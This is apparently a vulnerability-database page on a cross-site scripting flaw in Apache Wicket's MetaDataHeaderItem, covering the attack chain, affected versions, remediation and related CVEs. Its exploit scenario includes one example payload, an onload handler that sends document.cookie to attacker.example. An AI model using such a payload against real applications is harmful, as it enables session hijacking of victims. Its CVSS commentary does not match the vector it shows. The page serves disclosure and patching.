GHSA-f53h-v4wv-fq5x
Attack ChainAIDerived
Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain
-
AccessSupply input containing double-quote character
-
DeliveryInput flows through application logic into addTagAttribute or factory method
-
ExploitMetaDataHeaderItem renders value with ineffective backslash substitution
-
ExecutionDouble-quote terminates HTML attribute prematurely
-
PersistInjected event handler attribute parsed by browser
-
ImpactJavaScript executes in victim session
Vulnerability Assessment
| Weakness |
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization Output encoding, context-aware escaping
MITRE ATT&CK
2 techniques across 2 tactics: Initial Access, Execution The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up. |
| Exploitation Conditions | Exploitation requires that the target application passes attacker-influenced data to org.apache.wicket.markup.head.MetaDataHeaderItem via the addTagAttribute method or the forMetaTag and forLinkTag factory methods, where that data reaches a tag attribute value position. The value may be supplied through the IModel interface and does not need to be a compile-time literal string, meaning indirect data flows through model resolution are in scope. Applications that invoke these APIs exclusively with developer-controlled, hardcoded values are not affected - there is no universal exposure of all Wicket deployments. No authentication is required on the attacker side; the attacker need only be able to supply input that traverses application logic into these specific calls. User interaction by a victim (loading the affected page) is required for XSS payload execution. Scope is limited to browsers rendering pages built with the affected MetaDataHeaderItem APIs. |
| Impact | Real-world risk is moderate and strongly application-dependent: only deployments that pass externally influenced data into MetaDataHeaderItem via addTagAttribute, forMetaTag, or forLinkTag are exploitable - applications using only developer-controlled literal values are unaffected. No CVSS vector or base score is available in the source data, and no EPSS probability has been published, limiting quantitative prioritization. The vulnerability is absent from CISA KEV and no public exploit code exists at time of analysis. The primary limiting factor is application-level coupling: an attacker must be able to supply input that reaches these specific header-tag construction calls without prior sanitization. Despite those constraints, the breadth of affected release lines (three concurrent major branches) means the aggregate exposed surface across the Wicket ecosystem is non-trivial, and organizations running Wicket-based web applications with any user-supplied content flowing into page metadata should treat patching as urgent. The IModel resolution path is a relevant wrinkle - indirect data flows through model objects may not be obvious to developers auditing exposure, making conservative patching preferable to manual triage. |
| Exploit ScenarioDerived | An attacker submits a crafted input - such as a URL parameter, form field, or profile value - containing a double-quote followed by a JavaScript event handler payload (e.g., " onload=fetch('https://attacker.example/?c='+document.cookie)). If the application passes this value as a MetaDataHeaderItem attribute value, the rendered page includes the injected handler in a <meta> or <link> tag. When an authenticated user loads the page, the event handler fires in their browser session, enabling session token exfiltration or further client-side attacks. No public exploit code has been identified at time of analysis. |
Get an e-mail when this CVE is exploited, patched or re-scored. Free account.
Alert meAnalysisAI
Cross-site scripting in Apache Wicket's MetaDataHeaderItem class allows injection of arbitrary HTML attributes into generated <meta> and <link> header tags when applications pass attacker-influenced data to the addTagAttribute, forMetaTag, or forLinkTag APIs. The flawed escaping logic - replacing double-quote characters with backslash-double-quote, which carries no escaping semantics in HTML - permits a double-quote in an attacker-controlled value to break out of the attribute context and inject additional attributes such as JavaScript event handlers. Affected release lines span 8.0.0-8.18.0, 9.0.0-9.23.0, and 10.0.0-10.10.0; no public exploit has been identified at time of analysis.
RemediationAI
Upgrade to the vendor-released patched versions: Apache Wicket 8.19.0, 9.24.0, or 10.11.0 for the corresponding release branch. These versions are confirmed by the Apache security disclosure to correctly neutralize double-quote characters in MetaDataHeaderItem attribute values. If an immediate upgrade is not feasible, the only application-level workaround is to pre-sanitize any values passed to addTagAttribute, forMetaTag, or forLinkTag - specifically stripping or HTML-encoding double-quote characters before they reach the Wicket API. This workaround carries real coverage risk because the IModel interface allows attribute values to be resolved dynamically at render time, making exhaustive code-path auditing difficult; it should be treated as a temporary measure only. The Apache advisory explicitly states there is no framework configuration setting to disable or harden the vulnerable behavior. Consult the full disclosure at https://seclists.org/oss-sec/2026/q3/621 for additional context.
Affected VersionsENISA
Affected Packages
Source: OSV (Open Source Vulnerabilities)
Affects your stack
Affects 1 package in euvd
Checking this CVE against your own stacks and servers is part of the Basic plan and up.
Technical ContextAI · show details
Apache Wicket is a Java component-based web framework (Maven artifact org.apache.wicket:wicket-core). The vulnerable class, org.apache.wicket.markup.head.MetaDataHeaderItem, constructs HTML <meta> and <link> elements for injection into the page <head>. The class correctly escaped attribute names but applied a semantically ineffective substitution for attribute values: replacing the double-quote character (U+0022) with backslash-double-quote. Because backslash is not a special character in HTML attribute syntax, this substitution does not prevent the double-quote from terminating the attribute, enabling injection of additional attributes - including event handlers - into the generated tag. The root cause maps to CWE-79 (Improper Neutralization of Input During Web Page Generation), specifically a context-aware escaping failure. Values may be supplied via the IModel interface, meaning the flaw applies to dynamically resolved model values and not only literal strings. The advisory notes the vulnerability has existed since version 6.17.0: prior to the partial fix in 6.24.0/7.4.0/8.0.0, values were written completely unescaped.
Know when Wicket gets its next vulnerability
- Watch products and get an email when something new is published
- Check this CVE against your own stack and servers
- Exploit and PoC references, threat intelligence from 22 sources
No credit card · 7-day full trial
Severity by source
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:P/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N/U:Amber
AC:H reflects required application-level coupling (attacker data must reach MetaDataHeaderItem APIs); UI:R for victim page load; S:C for XSS browser scope change; no availability impact.
Primary rating from Vendor (CNA).
CVSS VectorVendor
Lifecycle Timeline
2Description PRE-NVD
Threat Intelligence Overview
How this decision was reached
The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.
What every action level means
SSVC AssessmentENISA
Priority Score
Attack Technique
Cross-Site Scripting occurs when an application accepts untrusted data and sends it to a web browser without proper validation or encoding.
Cross-site scripting (XSS) vulnerability in the getWindowOpenJavaScript function in org.apache.wicket.extensions.ajax.ma
The DiskFileItem class in Apache Wicket 6.x before 6.25.0 and 1.5.x before 1.5.17 allows remote attackers to cause a den
The default configuration of XSLTResourceStream.java is vulnerable to remote code execution via XSLT injection when proc
Session fixation in Apache Wicket AuthenticatedWebSession allows remote unauthenticated attackers to hijack user session
Apache Wicket 6.x before 6.25.0, 7.x before 7.5.0, and 8.0.0-M1 provide a CSRF prevention measure that fails to discover
Apache Wicket before 1.5.12, 6.x before 6.17.0, and 7.x before 7.0.0-M3 might allow remote attackers to obtain sensitive
Apache Wicket before 1.5.13, 6.x before 6.19.0, and 7.x before 7.0.0-M5 make it easier for attackers to defeat a cryptog
Per-file size and file-count upload limit enforcement in Apache Wicket 8.x through 10.x can be bypassed when a co-deploy
Remote unauthenticated attackers can access restricted package resources in Apache Wicket 8.x through 10.x by crafting U
A DNS proxy and possible amplification attack vulnerability in WebClientInfo of Apache Wicket allows an attacker to trig
By crafting a special URL it is possible to make Wicket deliver unprocessed HTML templates. Rated high severity (CVSS 7.
An error in the evaluation of the fetch metadata headers could allow a bypass of the CSRF protection in Apache Wicket.1.
EUVD-2026-68490
NVD
CVE.org
EPSS
Vulnrichment
VulDB
Exploit-DB